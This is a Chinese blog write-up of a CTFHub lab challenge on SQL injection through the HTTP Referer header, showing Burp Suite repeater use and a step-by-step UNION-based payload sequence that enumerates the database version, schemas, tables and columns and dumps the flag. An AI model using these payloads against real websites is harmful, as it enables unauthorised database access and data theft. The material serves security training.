• CTFHub | Refer注入


     0x00 前言

            CTFHub 专注网络安全、信息安全、白帽子技术的在线学习,实训平台。提供优质的赛事及学习服务,拥有完善的题目环境及配套 writeup ,降低 CTF 学习入门门槛,快速帮助选手成长,跟随主流比赛潮流。

            

            

    0x01 题目描述

    Refer注入:

            (无)

    网页显示内容

            
           

    0x02 解题过程

            根据题目显示内容,此题和上一题一致,需要在 Refer 请求头中进行 SQL 注入。那么直接使用 burp suite 抓包工具抓取题目网站的信息,并将抓取到的数据发送给重放器。在 Refer 请求中使用 payload 进行测试,发现此题存在 Refer 注入。那么直接根据注入流程进行注入,最后发现此题 flag 存在于 ncdiyxjtck 数据中。
            

    老规矩,直接使用burp suite抓包工具抓取题目网站的信息

            

    这次为了方便查看,将抓取到的数据发送给重放器

            

    发现抓到的信息中没有Refer请求,那么可以直接写入Refer请求进行测试

    Referer: 1 and 1 = 1    #注意Refer请求写入信息名称为Referer

            

    继续写入Referer请求中使用进行测试,发现此题存在Refer注入

    Referer: 1 and 1 = 2

            

    使用order by 判断字段数量,从order by 1开始

    Referer: 1 order by 1

    判断字段2,使用order by 2

    Referer: 1 order by 2

    判断字段3,使用order by 3,这里无回显,那么字段数量为2列

    Referer: 1 order by 3

    知道字段数量为2后,可以查看数据库位置,使用union select 1,2查看未发现数据

    Referer: 1 union select 1,2

            

    判断数据可能不存在数据库中,将1改为0查看数据,其他符号也可以

    Referer: 0 union select 1,2

            

    修改2为version(),查看数据库版本,发现数据库版本为MariaDB 10.3.22

    Referer: 0 union select 1,version()

            

    ⅩⅠ修改2为database(),查看数据库名,发现数据库版本为sqli

    Referer: 0 union select 1,database()

            

    ⅩⅡ查看全部数据库名

    Referer: 0 union select 1,group_concat(schema_name)from information_schema.schemata

            

    ⅩⅢ在全部数据库名中发现sqli,最后在sqli数据库中发现cirdpxhnev和news两个表名

    Referer: 0 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

            

    ⅩⅣ先查看cirdpxhnev表中的全部字段名,发现一个数据名为ncdiyxjtck

    Referer: 0 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='cirdpxhnev'

            

    ⅩⅤ查看数据ncdiyxjtck中的内容,发现此题flag

    Referer: 0 union select 1,group_concat(ncdiyxjtck) from sqli.cirdpxhnev

            

            

    0x03 Refer 注入常见的问题

    1.Refer 和 Referer

            需要注意的是,Refer 只是注入名称,而 Referer header 的一部分,当浏览器向 web 服务器发送请求的时候,一般会带上 Referer ,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。

    2.重放 Referer 注入无回显

            有小伙伴私信我,为什么我使用 burp suite 工具进行重放的时候,页面没有正常回显。我第一次使用 burp suite 工具的重放器也犯过此类错误,就是写入一个请求时在其数据的空白行中写入数据。需要注意的是,这个空白行也算抓取到的数据。

    例如,重放一个演示请求,数据为 error ,写入位置为抓取到的数据空白行中。重放发现页面没有正常回显。

     

    那么在写入的数据后面加入一行空白行,重新执行重放,此时的页面可以正常回显。

             

            

    0x04 参考文献

    [1].mdn web docs. Referer[EB/OL]. [2022-11-26]. https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Referer.

    [2].百度百科. HTTP_REFERER[EB/OL]. [2022-11-26]. https://baike.baidu.com/item/HTTP_REFERER/5358396.

    [3].老司机开代码. Less19 (referer注入)[EB/OL]. [2022-11-26]. https://blog.csdn.net/weixin_43901998/article/details/107021685.

            

            

    0x05 总结

    文章内容为学习记录的笔记,由于作者水平有限,文中若有错误与不足欢迎留言,便于及时更正。

  • 相关阅读:
    Web前端中横线:深入探索与实际应用
    Spring提供的API实现文件上传
    利用ogg微服务版将oracle同步到kafka
    【Python实战】如果没有音乐,生活就是一个错误 :n首回味无穷的歌,总有一曲深得你心哦~
    【附源码】计算机毕业设计JAVA移动在线点菜系统服务端服务端
    OpenCV学习(六)——图像算术运算(加法、融合与按位运算)
    教你使用Sqoop一次性将mysql中的十张表导入到hive中
    【cmake】cmake生成Visual Studio工程后的INSTALL项目使用
    python之列表介绍
    函数栈帧详解
  • 原文地址:https://blog.csdn.net/m0_51191308/article/details/128035082